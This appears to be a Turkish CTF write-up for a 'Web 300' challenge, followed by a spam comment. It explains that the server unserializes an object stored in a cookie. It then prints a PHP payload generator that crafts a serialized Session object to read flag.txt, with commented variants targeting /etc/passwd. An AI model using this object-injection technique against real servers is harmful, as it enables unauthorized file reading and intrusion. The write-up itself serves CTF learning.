Tuesday, May 17, 2016

DKHOCTF - Web 300

Bu sorudaysa cookie olarak bir serialized object saklanmaktaydi, sunucu direk bu objeyi unserialize edip kullaniyordu. Bu kismini gormemiz gercekten cok cabuk oldu zaten bariz birseydi, daha sonra bilinen bilimum class'lar ile deneyip "handle" nesnesinin read veya close methodlarinin calistirildigina karar kildik sonra exploit etmek icin ugrastik, ugrastik ve ugrastik....



Saatler sonra(hatta belki de gun) backup.zip'i fark etik, bundan sonrasi ez'ydi zaten, asagidaki gibi bir payload generator yazip cocugu koyduk.

<?php
require_once ("Process.php");
require_once ("Database.php");

class Session
{
   protected \$name, \$lastname, $handle;

   function __construct(\$name, \$lastname)
   {       \$this->name = new Process("../var/www/html", "flag.txt"); 
       \$this->lastname = \$this->name;#new Process("../etc", "passwd"); 
       \$this->handle = \$this->name;#new Process("../etc", "passwd");
   }

   function getName(){
       return \$this->name;
   }

   function getLastName(){
       return \$this->lastname;
   }

   function __destruct()
   {
       echo "__destroy<br/>";
        \$this->_destroy();
   }

   function _destroy(){
       // TODO: Look at the scrum board.
        \$this->handle->close();
   }

} 
\$session = new Session("test", 123); 
echo base64_encode(serialize(\$session));

daha sonra cikan degeri cookie'mize kouyoruz ve tadaa

1 comment :


  1. I really like your blog.. very nice colors & theme. Did you create this website yourself or did you hire someone to do it for you? Plz answer back as I'm looking to design my own blog and would like to know where u got this from. thanks hotmail sign in

    ReplyDelete